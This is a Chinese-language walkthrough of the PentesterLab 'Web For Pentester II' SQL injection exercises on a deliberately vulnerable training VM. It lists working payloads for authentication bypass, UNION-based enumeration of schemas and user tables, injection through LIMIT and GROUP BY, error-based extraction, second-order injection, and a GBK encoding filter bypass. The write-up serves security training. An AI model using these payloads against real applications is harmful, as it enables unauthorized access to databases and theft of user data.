Web For Pentester II
Reference
- https://pentesterlab.com/exercises/web_for_pentester_II/course
- http://lorexxar.cn/2016/03/30/web-for-pentest-II/
- http://www.altinkaynak.biz/web-for-pentester-ii-sql-injection-cozumleri/
VM有時會出錯,無法啟動httpd,試著修改記憶體大小看看
SQL Injections
Example 1
- 在Username欄位輸入單引號
'
,SQL語法就類似SELECT * FROM users WHERE username=''' AND password='[PASSWORD]'
,但因為插入單引號後語法就不對了(有奇數個單引號),就回傳了錯誤訊息:Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1: SELECT * FROM users WHERE username=''' AND password=''
- 在Username欄位輸入
' or 1=1
,為了讓整個條件式都為true- SQL語法變為:
SELECT * FROM users WHERE username='' or 1=1 ' AND password='[PASSWORD]'
- 但還是錯誤有錯誤訊息,這是因為後面的
' AND password='[PASSWORD]'
還是會被執行造成錯誤
- SQL語法變為:
- 使用comment忽略後面的指令:
--
或#
- SQL語法為:
SELECT * FROM users WHERE username='' or 1=1 -- ' AND password='[PASSWORD]'
- SQL語法為:
- 注意:使用
--
時,後面還要多個空格 - 若在URL裡輸入payload,記得要將特輸符號做URL編碼,像是
=
,#
, - 像
'or 1#
的payload可以bypass某些filter
- 注意:使用
Example 2
- Example 1只要有任何東西回傳就bypass了,但這題限制了只能有一筆資料
' or 1=1 LIMIT 1 --
只回傳一筆資料(一列)
Example 3
- 這題會過濾單引號,但可以用反斜線
\
將第二個單引號escape掉,變成第一個與第三個單引號合併,接著後面設為true後再把第四個單引號comment掉 - Username輸入
\
,Password輸入or 1=1 #
- SQL語法變為:
SELECT * FROM users WHERE username='\' and password='or 1=1 #'
- SQL語法變為:
Example 4
- 直接username參數後面就可以注入了:
UNION SELECT version(),user(),3
- 得到
5.1.66-0+squeeze1 pentesterlab@localhost
- 得到
- 查詢table_schema:
UNION SELECT table_schema,2,3 FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
- 查詢table_name:
UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
- 查詢column_name:
UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
- 查詢所有使用者:
UNION SELECT id,username,3 FROM users
Example 5
- 注入點為LIMIT參數:SQL語法為
SELECT * FROM users LIMIT 1;
- 直接在LIMIT參數後面加上
2 UNION SELECT id,username,3 FROM users
,會選擇出所有資料列,前兩筆是原本LIMIT參數抓出來的,也就是第一個2,後面四筆是UNION SELECT再次選擇出users table資料。id name 1 user1 2 user2 1 user1 2 user2 3 user3 4 user4
Example 6
- 注入點為GROUP BY參數:
SELECT * FROM users GROUP BY id;
- 後面就直接
UNION SELECT ...
了
Example 7
- error-based sqli:
extractvalue('%3Cxml%3E',concat(%22/%22,(select%20version())))
- 回傳了版本號:
Mysql2::Error: XPATH syntax error: '5.1.66-0+squeeze1': SELECT * FROM users WHERE id=extractvalue('<xml>',concat("/",(select version())))
Example 8
- 這題是Second-Order SQL Injection,首先建立使用者
aaa
,後面接著插入其它語法,完整語法如下:aaa' UNION ALL SELECT user(),now(),version() FROM users #
- 點擊新建立的使用者,即會執行後面的script:
User: 2016-10-29 08:23:22 Id: pentesterlab@localhost Password: 5.1.66-0+squeeze1
Example 9
- 使用GBK中文編碼來bypass對單引號的過濾
- 在username欄位先輸入個中文字,後面再插payload:
好' or 1=1 #
或在URL裡輸入%bf%27+or+1=1+%23